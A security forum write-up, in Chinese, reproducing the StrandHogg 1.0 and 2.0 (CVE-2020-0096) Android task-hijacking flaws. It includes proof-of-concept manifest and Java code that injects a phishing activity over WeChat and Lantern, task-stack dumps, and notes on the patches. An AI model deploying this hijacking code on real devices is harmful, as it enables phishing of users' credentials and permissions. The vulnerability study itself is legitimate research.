查看原文
其他

Android strandhogg漏洞复现学习

mb44 看雪学苑 2022-07-01


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:mb44




strandhogg1.0


该漏洞为一个 Android 任务栈劫持漏洞,在2019年披露,影响范围包括android10以下。该漏洞可以让恶意应用注入一个activity到他设定好的应用的顶层。因此恶意应用可以精心设计一个具有诱导性的activity注入到受害应用中进行攻击。


1、前置知识

任务和返回栈:任务就是一堆activity的集合,以堆栈的形式存放。当用户在主屏幕点击应用图标(或者其他方式)时,该应用的任务就会出现在前台。

如果应用程序不存在任何任务(该应用程序最近未使用过),则会创建一个新任务,一个任务栈可以包含多个activity,当从一个activity启动一个新的activity时就会把他push进返回栈(不考虑android的启动模式),销毁时就返回上一个activity,当任务栈的最后一个 activity 被销毁时,将清除任务栈并退出程序,下次再进入程序时会创建新的任务栈。
android 的四个启动模式:standard,singleTop,singleTask,singleInstance。不是本文重点,需要了解可以看(https://www.jianshu.com/p/ebde48a0a52c)

启动模式会导致一个应用中可能不止一个任务栈,单独一个activity可以独享一个任务栈。

一个任务栈中的activity可以来自不同的应用,同一个应用的activity也可能不在一个Task中。
activity属性:
<activity android:name=".inject_activity" android:allowTaskReparenting="true" android:taskAffinity="com.xx.mm"/><activity

taskAffinity(任务相似性):用来标识activity与任务的联系,该属性如果没有被设置,就从自身的 Application 继承,Application 的taskAffinity,它的值为 Manifest 的包名,也就是taskAffinity默认属性为自身应用包名的字符串。

那么该应用中的所有 activity 都具有同一相似性。具有相同taskAffinity属性的 activity归属同一任务(从用户的角度来看,则是归属同一“应用”),甚至可以在一个任务栈中放置不同应用中定义的activity。如果指定 activity 与任何任务均无相似性,可以将其设置为空字符串。

allowTaskReparenting(任务重编):这个属性会使该activity具有在任务栈被重新编排的能力,当下一次将启动 activity 的任务转至前台时, activity 是否可以从启动它的任务移动到和它具有相同taskAffinity属性的任务,转移的时机是在具有相同taskAffinity属性的任务转移到前台时,true代表能够移动,并且false如果它必须留在它所在的任务中。

它不会立即将攻击者活动转移到其目标上。只是当下次启动目标任务时,Android 操作系统会评估所有任务和活动,并查找标记有此属性的活动并在启动相关任务之前移动它们。

由于任务栈的taskAffinity值该栈中的根activity永远一致,具有“singleTask”或“singleInstance”启动模式的 activity 只能位于任务的根,因此android 的官方文档认为这两种启动模式对allowTaskReparenting是没有意义的,但该漏洞利用的就是看似没有意义的singleTask启动模式。

这样可以使恶意的activity放到受害应用的任务栈的根位置。如果未设置此 allowTaskReparenting 属性,则元素的相应属性设置默认值为 false。

2、漏洞原理

因为大部分应用的taskAffinity属性都没有设置,默认为其包名,那么就可以通过一个在恶意软件的一个hackactivity属性中设置跟我们攻击的应用的包名一致的taskAffinity值。

那么该hackactivitystart的时候就会创建一个与victim应用的taskAffinity属性相同的一个任务栈,到时候会和victim的应用共享一个任务栈,并且位于该任务栈的根,在我们启动受害应用时,该victim的任务就会被放到前台,然后位于根的hackactivity就会放到前台。

那么当我们打开受害应用所看到的activity,并不是该应用原有的activity,而是我们的hackactivity,那么我们可以在hackactivity设计成一个钓鱼页面,实现钓鱼攻击,获取用户的隐私和诱导用户授予恶意软件相应权限。

3、漏洞设计

三个activity,MainActivity用来启动其他的activity,Innocent是用来伪装自己的,通常是一个无害的界面,hack则是一个钓鱼界面。

Hack中设allowTaskReparenting和taskAffinity两个属性,taskAffinity设计为指定应用的包名,但是没有设计启动模式为singleTask,只是在启动这个activity时,会对intent传入一个参数FLAG_ACTIVITY_NEW_TASK,这个在这里跟singleTask的作用是类似的,具体区别可以看https://juejin.cn/post/6844903974269648903。
 
AndroidManifest.xml:
<activity android:name=".Innocent"></activity><activity android:name=".Hack" android:allowTaskReparenting="true" android:taskAffinity="com.tencent.mm" /><activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter></activity>

MainActivity.java:剩下的两个activity由于是没有什么实际意义的,只是修改ui,所以就没有放出。
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //启动两个活动 Intent hack_intent; Log.d("MainActivity的TaskId" , getTaskId() + ""); hack_intent=new Intent(this, Hack.class); //FLAG_ACTIVITY_NEW_TASK:相当于使用了launchMode=singleTop hack_intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(hack_intent); Intent innocent_intent; innocent_intent=new Intent(this,Innocent.class); startActivity(innocent_intent); //finish(); }}
安装后,第一次点击这个应用图标,使用adb shell dumsys activity activities查看任务栈。
Display #0 (activities from top to bottom): Stack #171: type=standard mode=fullscreen Task id #191 ··· Running activities (most recent first): //该应用的任务栈191中并没有Hackactivity的活动,而在另外一个新栈192中 TaskRecord{8780ff6 #191 A=com.test.strandhogg U=0 StackId=171 sz=2} Run #1: ActivityRecord{e19cde9 u0 com.test.strandhogg/.Innocent t191} Run #0: ActivityRecord{f021ac5 u0 com.test.strandhogg/.MainActivity t191} mResumedActivity: ActivityRecord{e19cde9 u0 com.test.strandhogg/.Innocent t191} Stack #172: type=standard mode=fullscreen Task id #192··· * TaskRecord{c609e64 #192 A=com.tencent.mm U=0 StackId=172 sz=1} //该任务没有被执行或者放到前台,所以没有ActivityRecord

此时,当我们返回桌面点击我们要攻击的应用就会将那个页面替换为我们的hackactivity。然后就完成了攻击:
Stack #177: type=standard mode=fullscreen Task id #197 Running activities (most recent first): TaskRecord{4a0127f #197 A=com.tencent.mm U=0 StackId=177 sz=1} Run #0: ActivityRecord{4076818 u0 com.test.strandhogg/.Hack t197}

成功的效果应该是当我们安装好恶意应用后,当我们点击恶意应用图标时,显示的是我们的innocent这个无害界面,然后返回桌面再我们被攻击的应用,会发现界面会被替换成我们的hackactivity。演示视频放在原文附件(点击查看原文即可获得)。

4、漏洞的修补

现在taskAffinity属性只对相同UID的应用有效,也就是说,只有共享UID的应用才可以进行activity的移动,uid在应用安装时被分配,并且在应用存在于手机上期间,都不会改变。

一个应用程序只能有一个uid,多个应用可以使用sharedUserId 方式共享同一个uid,但前提是这些应用的签名要相同。恶意应用也无法伪造uid,导致无法实现攻击。




strandhogg2.0(CVE-2020-0096)


strandhogg2.0和strandhogg1.0均为同一家公司promo披露,相比strandhogg1.0必须明确地将他们的目标应用程序硬编码到 Android Manifest。

strandhogg2.0并不需要在androidmanifest.xml上进行设计,而是在代码中实现,如有需要可以动态修改注入的应用程序,也可以同时对多个程序进行劫持。影响范围为android8和andorid9。

1、漏洞原理

这个漏洞主要是利用startActivities这个api,它的功能是一次启动多个Activity,传入一个Intent数组,Android会解析每个Intent,并逐个启动它们。

startActivities默认认为intent数组的第一个Activity的启动者是当前应用,而第二个Activity的启动者是第一个Activity所属的那个应用,依次类推,那么我们只要控制将第一个activity的所有者设为我们所要攻击的victim应用,那么就可以让我们的hackactivity被victim应用启动,就可以实现了activity劫持。

2、漏洞设计

只需要修改MainActivity,Intents[0]需要设置的是victim应用的包名和包名+类名,从而使得Intents[1]里的activity能够从victim应用中启动,就可以实现页面替换。
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent[] Intents = new Intent[2]; Intents[0] = new Intent(); Intents[0].setClassName("org.getlantern.lantern","org.getlantern.lantern.MainActivity"); Intents[0].addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); Intents[1] = new Intent(this,Hack1.class); //如果需要劫持多个应用,只需要扩大Intent的数组,重复intent1和intent2的操作 startActivities(Intents); }}

在我们安装后恶意应用后,首先点击victim应用,返回桌面,然后点击恶意应用,然后再返回点击victim应用,就会发现界面被替换为了Hack1这个activity。此时用adb shell dumpsys activity activities查看受害应用的任务栈和恶意应用的任务栈:
Running activities (most recent first): TaskRecord{85bf004 #444 A=org.getlantern.lantern U=0 StackId=420 sz=2} Run #1: ActivityRecord{b7ba43 u0 com.test.strandhogg2/.Hack1 t444} Run #0: ActivityRecord{b564328 u0 org.getlantern.lantern/.MainActivity t444} Running activities (most recent first): TaskRecord{66e7766 #445 A=com.test.strandhogg2 U=0 StackId=421 sz=1} Run #0: ActivityRecord{637578 u0 com.test.strandhogg2/.MainActivity t445}

可以发现,我们的Hack1这个activity已经是位于我们受害应用的任务栈的顶层了,也没有出现在我们的攻击应用。最终效果如下,在victim应用中出现了我们的activity。

美中不足的是在当我们第一次点击恶意应用的时候,由于我们使用了startactivities,所以在我们的恶意应用也是会直接转到Hack1这个activity,返回前台后在点击恶意应用才不会出现Hack1,而是显示MainActivity。


3、漏洞的修补

google后面更新了安全补丁,修改了ActivityStarter.java这文件,只有与和调用者具有相同 uid 的已启动 activity 才可以成为下一个活动的调用者。





参考


  • https://wrlus.com/security/mobile/android-strandhogg-2/;
  • https://promon.co/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability/#what-can-a-potential-attacker-do;
  • https://promon.co/security-news/the-strandhogg-vulnerability/#has-strandhogg-been-abused-in-real-world-cases;
  • https://www.cnblogs.com/aldys4/p/14879604.html;
  • https://developer.android.com/guide/topics/manifest/activity-element?hl=zh-cn



看雪ID:mb44

https://bbs.pediy.com/user-home-942091.htm

*本文由看雪论坛 mb44 原创,转载请注明来自看雪社区



# 往期推荐

1.某APP加固产品的深入分析

2.FartExt超进化之奇奇怪怪的新ROM工具MikRom

3.如何阅读只包含特殊符号的powershell脚本

4.栈与栈帧的调试

5.python_mmdt:ssdeep、tlsh、vhash、mmdthash对比

6.CVE-2021-31956分析与利用






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存